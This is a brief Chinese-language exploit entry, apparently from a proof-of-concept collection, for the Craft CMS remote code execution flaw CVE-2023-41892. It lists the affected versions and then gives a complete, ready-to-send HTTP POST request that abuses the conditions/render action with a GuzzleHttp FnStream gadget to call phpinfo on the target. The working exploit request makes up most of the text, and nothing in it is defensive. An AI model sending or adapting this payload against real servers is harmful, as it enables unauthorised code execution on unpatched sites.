## Craft CMS远程代码执行漏洞CVE-2023-41892 ## 影响版本 Craft CMS >= 4.0.0-RC1 Craft CMS <= 4.4.14 ## exp ``` POST /index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()": [{"close":null}],"_fn_close":"phpinfo"}} ```